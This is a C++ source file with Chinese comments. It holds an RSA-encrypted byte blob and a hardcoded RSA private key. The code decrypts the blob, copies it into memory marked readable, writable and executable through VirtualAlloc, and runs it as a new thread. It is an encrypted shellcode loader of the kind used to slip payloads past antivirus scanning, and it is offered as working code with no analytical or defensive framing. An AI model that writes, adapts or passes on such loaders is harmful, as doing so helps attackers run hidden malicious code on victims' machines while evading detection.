#include <iostream>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <cstdlib>
#include <windows.h>
#include <vector>
#define KEY_LENGTH 2048 // 密钥长度
// 错误处理
void handleErrors() {
ERR_print_errors_fp(stderr);
abort();
}
// 将十六进制字符串转换为字节数组
std::vector<unsigned char> hexStringToBytes(const std::string& hex) {
std::vector<unsigned char> bytes;
for (size_t i = 0; i < hex.length(); i += 2) {
std::string byteString = hex.substr(i, 2);
unsigned char byte = (unsigned char)(strtol(byteString.c_str(), nullptr, 16));
bytes.push_back(byte);
}
return bytes;
}
// 从字符串加载私钥
RSA* loadPrivateKeyFromString(const std::string& privateKeyStr) {
BIO* bio = BIO_new_mem_buf((void*)privateKeyStr.c_str(), privateKeyStr.length());
RSA* rsa = PEM_read_bio_RSAPrivateKey(bio, NULL, NULL, NULL);
BIO_free(bio);
return rsa;
}
// 解密函数
std::vector<unsigned char> rsaDecrypt(RSA* rsa, const unsigned char* ciphertext, size_t ciphertextLength) {
std::vector<unsigned char> plaintext(RSA_size(rsa));
int result = RSA_private_decrypt(ciphertextLength, ciphertext,
plaintext.data(), rsa, RSA_PKCS1_OAEP_PADDING);
if (result == -1) {
handleErrors();
}
plaintext.resize(result); // 调整明文大小
return plaintext;
}
int main() {
// 密文
unsigned char ciphertext[] = { 0x4b, 0x68, 0xb9, 0xbf, 0xb6, 0x11, 0xab, 0x85, 0x5c, 0x16, 0x3f, 0xc5, 0xa8, 0x61, 0x5a, 0x77, 0xf2, 0x6e, 0xe3, 0x8c, 0x8f, 0x3a, 0x3c, 0x5b, 0x6b, 0x67, 0x67, 0xae, 0x91, 0x68, 0xd3, 0x16, 0xe4, 0xde, 0xc6, 0xbe, 0xaa, 0x2f, 0x9c, 0xe7, 0xff, 0x13, 0x60, 0x67, 0xdf, 0x16, 0xe4, 0xce, 0x7a, 0x80, 0xfb, 0x4e, 0x1a, 0xdc, 0x41, 0xda, 0x5e, 0x49, 0x58, 0x54, 0x43, 0x4c, 0x65, 0xd5, 0x7f, 0xd7, 0x5f, 0x70, 0x9a, 0x6e, 0x52, 0x43, 0xb3, 0x4b, 0xc3, 0x95, 0xdf, 0x0e, 0x35, 0xcb, 0xca, 0x02, 0x12, 0x22, 0xb7, 0x22, 0xf9, 0x84, 0x70, 0x7b, 0x89, 0x6b, 0x58, 0x88, 0x87, 0xce, 0xe0, 0xb0, 0x92, 0x6c, 0xba, 0x12, 0x1c, 0xfd, 0x64, 0x02, 0xc4, 0x83, 0x66, 0x5d, 0x11, 0x10, 0x8c, 0xc4, 0x29, 0x16, 0x0e, 0x88, 0x1e, 0x85, 0xce, 0xa0, 0x08, 0x3c, 0x0e, 0x98, 0x1d, 0xc7, 0xaa, 0xc1, 0xc4, 0x99, 0xc1, 0xe5, 0x9c, 0xc1, 0x56, 0xc7, 0x79, 0x13, 0xe8, 0x73, 0x47, 0x87, 0x9e, 0x6e, 0x97, 0x96, 0xbd, 0x3a, 0x85, 0x7e, 0x85, 0x36, 0xcc, 0x28, 0xa0, 0x61, 0x2c, 0xfb, 0x0c, 0xd8, 0xbf, 0xc1, 0x54, 0x13, 0xce, 0xda, 0x41, 0x4b, 0xe0, 0x55, 0x60, 0x42, 0xba, 0x9d, 0xf6, 0x44, 0xab, 0xbb, 0x9e, 0x62, 0x48, 0xb4, 0xd5, 0x9f, 0x48, 0xf8, 0x61, 0xbc, 0xb5, 0x7f, 0x1d, 0x8c, 0xcd, 0x1f, 0x60, 0x68, 0x32, 0xa9, 0x3d, 0xca, 0x49, 0x3c, 0x23, 0xd8, 0x3f, 0x9c, 0xc8, 0x11, 0x68, 0x0a, 0xf2, 0xce, 0x8e, 0xab, 0x4f, 0x50, 0x70, 0xf7, 0xd6, 0xe4, 0x92, 0x57, 0x1f, 0x94, 0x2c, 0xd5, 0xdd, 0xbb, 0x8c, 0xaf, 0x76, 0x1f, 0x6d, 0x5f, 0x35, 0xe9, 0x3a, 0x64, 0x85, 0x5b, 0xa6, 0x13, 0x02, 0x6e, 0x1d, 0x29, 0xc5, 0x7f, 0xfe, 0x8b, 0xb7, 0x09, 0x54, 0xe7 };
// 私钥
std::string pri_key = R"(-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA0cYONXIC2UotNjbeXHGjE0EWfv5F5xvzn4B4e24z2fnVhUEZ
PctBUDmSqXi9yZf/jnJLqw9gwSxxzhMIWYOsJXZpH5zgsUiMqmqj5euGgbT+uvUH
/9U2DP/kKYREKFBHY8uLFeoM0T85Jn2DeLGeqE0KFax/a+MvFKzck3izDbzCYgF5
ZlOfvewu1fYpXVcFYuKmuMMEyPM5e3Vd2Qg2dzHDzfkI+e69II0oiR/UMJy7VWnS
WfUOe3FUZHdOfHqDxasrJMT1m25/2s33fOLpBfLmsaZzV6cWZ0lvGBVz/77JWU94
6lLvkUHoeX7m337qm8v1k57yuiA5l2qgojPB7wIDAQABAoIBABdyoXT05P+fzHTy
ZiGELDvDOz3/sxWVqMIr7IuzckVLqUPHVohzNz496ThbQC+P92dXPEEHK4P8MU5d
D0JeNvhLB44ajX0ThHGqEN7q2DKYZh7Es9uzW+LRGZJQcAPnkUtE3auZ6UvcWsmE
HxV3GSprzhRFH0sSbllLxy4OwEjpHA7X3W20X5jeFPEE9pZ2tF0N76cdJsI8+yAh
xk6l75zPPXSr/6d7+dBaXAkDL4sX6sI/DrHqLVJiETI6AvJMT/yoSLOZEaD/IU24
h5+cDVGAoYsC4dxNv1jqqaKm6HX3iW0jIdePQpZy5Yrx7oY2mUER64+uRuM26Gxl
14qJMAkCgYEA99b6zTrIm+Tzqst+cbB4I3BsSz3D4m3xVYHClDVvrlInuMYxOc3A
qpVC+6FrLrBFXB1bWpARSjPYOFXkcea6c+Rpph9tIq/hCHnXBY1xl3YvyDOpbnDk
mjgHBbm8mXPsvgi1fXjOh7uhyMvESsJYsKHk06GrIIFPTbzdVlgKAXcCgYEA2K44
RP0Ez2tj18lUsoprtIrsT859jq0AM0zAhhKlpSRCEgXTObCa2ahFkP8B11e3rAaG
wWv1TTKZYusCKPMVRNeeZQgTsBx38kFuajLUqARhUekr8G8MBkmA+zlR4MDneFdy
7ig2qYJL2cqT/r68vekWaReuyDpBjH3h2F5fIUkCgYAPrr/SCr00+CjfDt9ibEs9
2thPboodot1Zjst0O2lku3gd/hSRVs6xPJ6vc4hnvOm2qXjlYyZk7qDo965r8rCr
srFovKZYQo7XzXXouQmODwF5BqPbBDPC+nafSyB/CVHauIxbczCGcD4Nia9TF7cq
/iOPrLQ6a1RMU/4hf5KqgwKBgCsgYeq5QV/XTAQC+myeyFki3W3092CSZlvPhvIo
e/emg8/6gNQWpntz1oTJfKBTwSboFaIhzq0SyRy7Ea780trk343UUbbXs7fv9f4F
J/ZZCNW4xxoPwCDwOE/IVNebDXcSULm+H0MVv+sVOueVJxPVdLRuFkeb8Lf5xh2+
isihAoGAViTNW1CNM04scwRYniuLlRXHO8QwgJamM7qVzcW3vVY5xweE6WY+5i84
evO6GBrf/uUdrzeFyuSYozi+OY6bqbrtzvy3DqddKQpOA4XbBIwAuM2od/04u30G
3Y1MPgdgz8xwl/kngNUU3M77Oi1HvhZmmjywN/t8IMT0t+gKgC4=
-----END RSA PRIVATE KEY-----)";
// 加载私钥
RSA* privateKey = loadPrivateKeyFromString(pri_key);
// 获取数组长度
size_t len = sizeof(ciphertext) / sizeof(ciphertext[0]);
// 解密
std::vector<unsigned char> decryptedText = rsaDecrypt(privateKey, ciphertext,len);
// 清理
RSA_free(privateKey);
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, decryptedText.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, decryptedText.data(), decryptedText.size());
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}